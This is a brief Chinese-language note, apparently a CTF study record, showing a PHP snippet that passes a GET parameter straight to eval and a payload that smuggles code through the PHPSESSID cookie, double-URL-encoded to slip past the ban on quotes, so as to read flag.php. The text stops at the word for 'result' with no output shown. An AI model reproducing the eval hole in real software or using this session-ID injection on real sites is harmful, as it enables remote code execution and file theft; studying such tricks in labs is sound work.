最近读wp看到了一种命令执行的骚操作,记录下来做备份,简要复现代码:
<?php $cmd = $_GET['cmd']; @eval($cmd); ?>
代码很简单,已经删除掉了一切限制条件,假设存在flag.php存在相同文件目录下,最终目的就是读取其内容。
关键是结合session的命令执行利用方式:
- url端 :
?cmd=urldecode(session_id(session_start()));
- burpsuite构造:
由于session_id中不能出现引号,因此通过两次url编码来解决
PHPSESSID=highlight_file(%2522flag.php%2522)%3B
效果: